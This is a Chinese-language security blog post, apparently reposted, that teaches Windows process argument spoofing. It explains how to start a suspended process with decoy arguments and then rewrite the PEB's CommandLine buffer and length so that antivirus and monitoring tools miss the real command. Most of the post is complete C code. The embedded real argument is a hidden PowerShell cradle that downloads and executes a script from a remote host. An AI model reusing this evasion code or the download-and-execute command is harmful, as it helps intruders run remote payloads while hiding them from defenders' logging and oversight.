命令行参数隐藏

admin 2024年10月19日22:43:50评论15 views字数 13103阅读43分40秒阅读模式

Part1命令行参数欺骗

在渗透过程中我们难免要在目标机器上执行命令,而目标机器上如果存在杀软或者类似的记录命令的程序,很可能会对我们的命令参数进行检测(例如powershell命令)或者记录,这样在我们执行某些命令时我们的攻击路径很可能就会暴露从而增加被溯源的概率。

所以今天介绍一个隐藏新生成进程的命令行参数的技术 Process Argument Spoofing

在开始写代码之前我们需要了解一下参数在进程中存储的位置,在Windows操作系统中,进程的参数存储在RTL_USER_PROCESS_PARAMETERS结构中。这个结构包含了与进程相关的各种信息,如命令行参数、环境变量和当前目录等。

RTL_USER_PROCESS_PARAMETERS结构存储在进程的PEB (Process Environment Block) 中。PEB是一个数据结构,包含了与进程相关的信息和配置。具体结构如下所示

typedef struct _RTL_USER_PROCESS_PARAMETERS {
    BYTE Reserved1[16];
    PVOID Reserved2[10];
    UNICODE_STRING ImagePathName;
    UNICODE_STRING CommandLine;
    PVOID Environment;
    USHORT StartingPositionLeft;
    USHORT StartingPositionTop;
    USHORT Width;
    USHORT Height;
    USHORT CharWidth;
    USHORT CharHeight;
    USHORT ConsoleTextAttributes;
    USHORT WindowFlags;
    USHORT ShowWindowFlags;
    UNICODE_STRING WindowTitle;
    UNICODE_STRING DesktopInfo;
    UNICODE_STRING ShellInfo;
    UNICODE_STRING RuntimeData;
    RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32];
    SIZE_T EnvironmentSize;
    SIZE_T EnvironmentVersion;
    PVOID PackageDependencyData;
    ULONG ProcessGroupId;
    ULONG LoaderThreads;
    // ... other members ...
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

这个结构体包含了一些与进程启动相关的参数,比如:

  • ImagePathName: 一个UNICODE_STRING,表示进程的可执行文件的路径。
  • CommandLine: 一个UNICODE_STRING,表示进程的命令行参数。
  • Environment: 指向进程环境变量的指针。
  • WindowTitle: 一个UNICODE_STRING,表示窗口的标题(如果是一个窗口应用程序)。
  • DesktopInfo, ShellInfo, RuntimeData: 其他与进程相关的信息。

可以看到其中的CommandLine成员储存的是进程的命令行参数,可以联想到如果可以修改这个参数的值是不是可以欺骗到某些监控程序呢。

要想修改该参数就得先找到PEB地址,这时候可以用到一个查询进程相关信息的函数NtQueryInformationProcess它允许你查询与进程相关的信息。

函数结构如下:

NTSTATUS NtQueryInformationProcess(
    HANDLE            ProcessHandle,
    PROCESSINFOCLASS  ProcessInformationClass,
    PVOID             ProcessInformation,
    ULONG             ProcessInformationLength,
    PULONG            ReturnLength
)
;

根据微软文档当第二个参数为ProcessBasicInformation时将返回一个PROCESS_BASIC_INFORMATION结构体,其中就包含了PEB结构的信息

命令行参数隐藏

这里也可以通过GetThreadContext函数获取线程的上下文信息.对于32位进程,PEB地址存储在Ebx寄存器中。对于64位进程,PEB地址存储在Rdx寄存器中。不嫌麻烦的话也可以使用下面的代码绕过NtQueryInformationProcess获取PEB地址

DWORD_PTR GetPebAddress(HANDLE ProcessHandle)
{
    BOOL isWow64 = FALSE;
    DWORD_PTR PebAddress = 0;
    NTSTATUS Status = 0;

    // 检查目标进程是否在Wow64下运行(64位机器上的32位进程)
    IsWow64Process(ProcessHandle, &isWow64);

    // 如果是Wow64进程,我们需要使用Wow64线程上下文函数
    if (isWow64)
    {
        WOW64_CONTEXT Context = { 0 };
        Context.ContextFlags = CONTEXT_INTEGER;

        // 获取目标进程的主线程句柄
        DWORD dwThreadId = GetMainThreadIdFromProcessId(GetProcessId(ProcessHandle));
        HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, dwThreadId);

        if (hThread == INVALID_HANDLE_VALUE)
        {
            printf("打开线程失败n");
            return 0;
        }

        if (!Wow64GetThreadContext(hThread, &Context))
        {
            printf("获取线程上下文失败n");
            return 0;
        }

        // PEB地址存储在Ebx寄存器中
        PebAddress = Context.Ebx;

        CloseHandle(hThread);
    }
    else
    {
        // 非Wow64进程,使用正常的线程上下文函数
        CONTEXT Context = { 0 };
        Context.ContextFlags = CONTEXT_INTEGER;

        // 获取目标进程的主线程句柄
        DWORD dwThreadId = GetMainThreadIdFromProcessId(GetProcessId(ProcessHandle));
        HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, dwThreadId);

        if (hThread == INVALID_HANDLE_VALUE)
        {
            printf("打开线程失败n");
            return 0;
        }

        if (!GetThreadContext(hThread, &Context))
        {
            printf("获取线程上下文失败n");
            return 0;
        }

        // PEB地址存储在Rdx寄存器中
#ifdef _M_IX86
        PebAddress = Context.Ebx;
#else
        PebAddress = Context.Rdx;
#endif

        CloseHandle(hThread);
    }

    return PebAddress;
}

之后再通过PEB->ProcessParameters找到RTL_USER_PROCESS_PARAMETERS结构的地址再通过指针可以找到CommandLine的值。现在可以阶段性的验证一下我们的想法。如下代码:读取当前进程的PEB地址、ProcessParameters地址、和执行参数

int main()
{
    PROCESS_BASIC_INFORMATION pbi;
    ULONG returnLength;
   
    typedef NTSTATUS(NTAPI* fnNtQueryInformationProcess)(
        HANDLE ProcessHandle,
        PROCESSINFOCLASS ProcessInformationClass,
        PVOID ProcessInformation,
        ULONG ProcessInformationLength,
        PULONG ReturnLength
        )
;

    fnNtQueryInformationProcess pNtQueryInformationProcess = (fnNtQueryInformationProcess)GetProcAddress(GetModuleHandleW(L"NTDLL"), "NtQueryInformationProcess");
    if (pNtQueryInformationProcess == NULL)
        return FALSE;

    // 获取当前进程的基本信息
    NTSTATUS status = pNtQueryInformationProcess(GetCurrentProcess(),
        ProcessBasicInformation,
        &pbi,
        sizeof(PROCESS_BASIC_INFORMATION),
        &returnLength);

    if (status == STATUS_SUCCESS) {
        // 获取PEB的地址
        printf("PebBaseAddress: %pn", pbi.PebBaseAddress);

        // 获取RTL_USER_PROCESS_PARAMETERS的地址
        PRTL_USER_PROCESS_PARAMETERS pProcessParameters = pbi.PebBaseAddress->ProcessParameters;

        // 打印RTL_USER_PROCESS_PARAMETERS的地址
        printf("RTL_USER_PROCESS_PARAMETERS address: %pn", pProcessParameters);

        // 获取并打印命令行信息
        UNICODE_STRING pCommandLine = pProcessParameters->CommandLine;
        wprintf(L"Command Line: %.*sn", pCommandLine.Length / sizeof(wchar_t), pCommandLine.Buffer);

    }

    return 0;
}

使用vs直接执行,因为直接运行的所以程序没有显示参数

命令行参数隐藏

远程修改PEB信息

上面我们的尝试是对当前进程进行的,但是在很多情况下我们是需要创建一个新的进程并隐藏参数。所以为了完成这些步骤我们还需要了解一些其他函数

CreateProcess

创建进程的函数是CreateProcess(),这个函数的使用方法如下:

BOOL CreateProcess(
    LPCTSTR lpApplicationName,                 // name of executable module 进程名(完整文件路径)
    LPTSTR lpCommandLine,                      // command line string 命令行传参
    LPSECURITY_ATTRIBUTES lpProcessAttributes, // SD 进程句柄
    LPSECURITY_ATTRIBUTES lpThreadAttributes,  // SD 线程句柄
    BOOL bInheritHandles,                      // handle inheritance option 句柄
    DWORD dwCreationFlags,                     // creation flags 标志
    LPVOID lpEnvironment,                      // new environment block 父进程环境变量
    LPCTSTR lpCurrentDirectory,                // current directory name 父进程目录作为当前目录,设置目录
    LPSTARTUPINFO lpStartupInfo,               // startup information 结构体详细信息(启动进程相关信息)
    LPPROCESS_INFORMATION lpProcessInformation // process information 结构体详细信息(进程ID、线程ID、进程句柄、线程句柄)
)
;

因为需要修改新进程的信息,所以最好将进程先挂起也就是将creation flags 标志设置为CREATE_SUSPENDED,之后要做的就是获取所创建进程的远程PEB地址,从创建的进程中读取远程PEB结构再从PEB结构中读取ProcessParameters结构,再修改ProcessParameters.CommandLine.Buffe的信息为要伪造的参数信息,但是要注意假参数的长度要大于或等于真参数的长度,因为如果真参数太长可能会覆盖假参数以外的字节,导致进程崩溃。

具体步骤如下:

  1. 首先使用NtQueryInformationProcess从远程进程中读取PEB信息

  2. 使用ReadProcessMemory函数从PEB中读取RTL_USER_PROCESS_PARAMETERS

    函数参数的含义如下:

    • hProcess:要读取内存的进程的句柄。这个句柄需要有PROCESS_VM_READ访问权限。
    • lpBaseAddress:你想要从目标进程中读取的内存区域的起始地址。
    • lpBuffer:一个指向缓冲区的指针,该缓冲区用于存储从目标进程的内存中读取的数据。
    • nSize:你想要读取的字节数。
    • lpNumberOfBytesRead:一个指向变量的指针,该变量将接收实际读取的字节数。如果该指针为NULL,则将忽略该参数。
  3. 再使用一次ReadProcessMemory函数从PEB中读取ProcessParameters结构体的值

  4. 使用WriteProcessMemory函数向ProcessParameters结构体中的CommandLine.Buffer写入真正的启动参数

    WriteProcessMemory定义如下

    BOOL WriteProcessMemory(
      HANDLE hProcess,                // handle to process
      LPVOID lpBaseAddress,           // base of memory area
      LPCVOID lpBuffer,               // data buffer
      SIZE_T nSize,                   // count of bytes to write
      SIZE_T * lpNumberOfBytesWritten // count of bytes written
    )
    ;

这里将虚拟参数设置为hehehehehe

命令行参数隐藏

使用 Process Hacker 发现同时监控到了真假参数

命令行参数隐藏

这是因为这类工具会读取从PEB+0x20的位置的_RTL_USER_PROCESS_PARAMETERS结构体内读取commandlinelength的值,再根据这个值来判断应该读取commandline.buffer的长度

命令行参数隐藏

如图所示PEB地址+0x20的位置是_RTL_USER_PROCESS_PARAMETERS结构体,在结构体的+0x70的位置是commandline的相关数据,我们可以修改CommandLine.Length的值将其设定为小于实际Length的值,就可以让某些监控程序无法读取到完整的命令参数,而操作系统则是通过'x00'来判断字符串是否结束。

可以通过如下代码来修改Length的值

 DWORD dwNewLen = 16;
    //需要计算pParms.CommandLine.Length的地址
ULONG_PTR targetLengthAddress = (ULONG_PTR)peb.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length);

    if (!WriteProcessMemory(Pi.hProcess, (LPVOID)targetLengthAddress, &dwNewLen, sizeof(dwNewLen), &sNmbrOfBytesWritten)) {
        printf("[!] WriteProcessMemory Failed With Error : %d n", GetLastError());
        printf("[i] Bytes Written : %d Of %d n", sNmbrOfBytesWritten, sizeof(DWORD));
        return FALSE;
    }
命令行参数隐藏

这里需要注意:因为命令行参数的类型是UNICODE_STRIN类型所以如果要读取16个字符需要设置32个字节的长度。

CobaltStrike中的Argue命令就是使用的这种方法来实现的

完整代码

#include <windows.h>
#include <winternl.h>
#include <ntstatus.h>
#include <stdio.h>

int main()
{
    PROCESS_BASIC_INFORMATION pbi;
    ULONG returnLength;

    typedef NTSTATUS(NTAPI* fnNtQueryInformationProcess)(
        HANDLE ProcessHandle,
        PROCESSINFOCLASS ProcessInformationClass,
        PVOID ProcessInformation,
        ULONG ProcessInformationLength,
        PULONG ReturnLength
        );

    fnNtQueryInformationProcess pNtQueryInformationProcess = (fnNtQueryInformationProcess)GetProcAddress(GetModuleHandleW(L"NTDLL"), "NtQueryInformationProcess");
    if (pNtQueryInformationProcess == NULL)
        return FALSE;


    NTSTATUS                      STATUS = NULL;
    STARTUPINFOW                  Si = { 0 };
    PROCESS_INFORMATION           Pi = { 0 };
    STARTUPINFOA si = { 0 };
    si.cb = sizeof(si);

    size_t bufferSize = 210;
    LPWSTR szStartupArgs = new wchar_t[bufferSize];
    wcscpy_s(szStartupArgs, bufferSize, L"powershell.exe hehehehhehehehehhehehehhehehehehhehehehhehhehehehehhehehehhehehehehhehehehhehehehehhehehehhehehehehhehehehhehehehehhehehehhehehehehhehehehhehehehehhehehehheheheheh ");

    LPWSTR szRealArgs = new wchar_t[bufferSize];
    wcscpy_s(szRealArgs, bufferSize, L" powershell.exe -nop -w hidden -c \"IEX((new-object net.webclient).downloadstring('http://192.168.116.128:80/a'))\" ");

    WCHAR szProcess[MAX_PATH];
    // 声明并初始化一个SIZE_T变量来保存实际读取的字节数。
    SIZE_T sNmbrOfBytesRead = NULL;

    // 将启动参数复制到szProcess数组中
    lstrcpyW(szProcess, szStartupArgs);

    // 创建一个新进程,该进程初始时处于挂起状态,没有窗口
    if (!CreateProcessW(
        NULL,
        szProcess,
        NULL,
        NULL,
        FALSE,
        CREATE_SUSPENDED,
        NULL,
        L"C:\Windows\System32\",
        &Si,
        &Pi)) {
        printf("t[!] CreateProcessA Failed with Error : %d n", GetLastError());
        return FALSE;
    }
    printf("[+] 真实参数:"%ls"n",szRealArgs);
    printf("[+] 伪造参数:"%ls"n", szStartupArgs);
    printf("[+] 进程pid:"%d"n", Pi.dwProcessId);

    // 获取新进程的PROCESS_BASIC_INFORMATION,这个结构中包含了PEB的地址
    if ((STATUS = pNtQueryInformationProcess(Pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLength)) != 0) {
        printf("t[!] NtQueryInformationProcess Failed With Error : 0x%0.8X n", STATUS);
        return FALSE;
    }

    PEB peb = { 0 };
    
    // 从ProcessBasicInformation中找到PEB的地址
    if (!ReadProcessMemory(Pi.hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL)) {
        printf("[!] ReadProcessMemory Failed With Error : %d n", GetLastError());
        printf("[i] Bytes Read : %d Of %d n", sNmbrOfBytesRead, sizeof(RTL_USER_PROCESS_PARAMETERS) + 0xFF);
        return FALSE;
    }  

    RTL_USER_PROCESS_PARAMETERS pParms = { 0 };
    sNmbrOfBytesRead = NULL;
    // 从新进程的PEB中读取RTL_USER_PROCESS_PARAMETERS结构,这个结构中包含了进程的启动参数
    if (!ReadProcessMemory(Pi.hProcess, peb.ProcessParameters, &pParms, sizeof(RTL_USER_PROCESS_PARAMETERS) + 0xFF, &sNmbrOfBytesRead) || sNmbrOfBytesRead != sizeof(RTL_USER_PROCESS_PARAMETERS) + 0xFF) {
        printf("[!] ReadProcessMemory Failed With Error : %d n", GetLastError());
        printf("[i] Bytes Read : %d Of %d n", sNmbrOfBytesRead, sizeof(RTL_USER_PROCESS_PARAMETERS) + 0xFF);
        return FALSE;
    }


    // 将真正的启动参数写入到新进程的RTL_USER_PROCESS_PARAMETERS结构中
    SIZE_T sNmbrOfBytesWritten = NULL;
    if (!WriteProcessMemory(Pi.hProcess, (LPVOID)pParms.CommandLine.Buffer, (LPVOID)szRealArgs, (DWORD)(lstrlenW(szRealArgs) * sizeof(WCHAR) + 1), &sNmbrOfBytesWritten) || sNmbrOfBytesWritten != (DWORD)(lstrlenW(szRealArgs) * sizeof(WCHAR) + 1)) {
        printf("[!] WriteProcessMemory Failed With Error : %d n", GetLastError());
        printf("[i] Bytes Written : %d Of %d n", sNmbrOfBytesWritten, (DWORD)(lstrlenW(szRealArgs) * sizeof(WCHAR) + 1));
        return FALSE;
    }
    printf("[+] 成功写入进程参数:"%ls"n", szRealArgs);

    DWORD dwNewLen = 16;
    //需要计算pParms.CommandLine.Length的地址
    ULONG_PTR targetLengthAddress = (ULONG_PTR)peb.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length);

    if (!WriteProcessMemory(Pi.hProcess, (LPVOID)targetLengthAddress, &dwNewLen, sizeof(dwNewLen), &sNmbrOfBytesWritten)) {
        printf("[!] WriteProcessMemory Failed With Error : %d n", GetLastError());
        printf("[i] Bytes Written : %d Of %d n", sNmbrOfBytesWritten, sizeof(DWORD));
        return FALSE;
    }

    ResumeThread(Pi.hThread);

    //获取并打印命令行信息
    UNICODE_STRING CommandLineAfter;
    if (!ReadProcessMemory(Pi.hProcess, (PBYTE)peb.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine), &CommandLineAfter, sizeof(CommandLineAfter), NULL)) {
        printf("[!] ReadProcessMemory failed with error: %dn", GetLastError());
        return FALSE;
    }

    WCHAR* szCommandLineAfter = new WCHAR[CommandLineAfter.Length / sizeof(WCHAR) + 1]();  // Initialize to zero

    if (!ReadProcessMemory(Pi.hProcess, CommandLineAfter.Buffer, szCommandLineAfter, CommandLineAfter.Length, NULL)) {
        printf("[!] ReadProcessMemory failed with error: %dn", GetLastError());
        return FALSE;
    }

    printf("[+] Command line parameters after modification: "%ls"n", szCommandLineAfter);
    return 0;
}

原文始发于微信公众号(纯爱安全):命令行参数隐藏

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月19日22:43:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   命令行参数隐藏https://cn-sec.com/archives/2149002.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息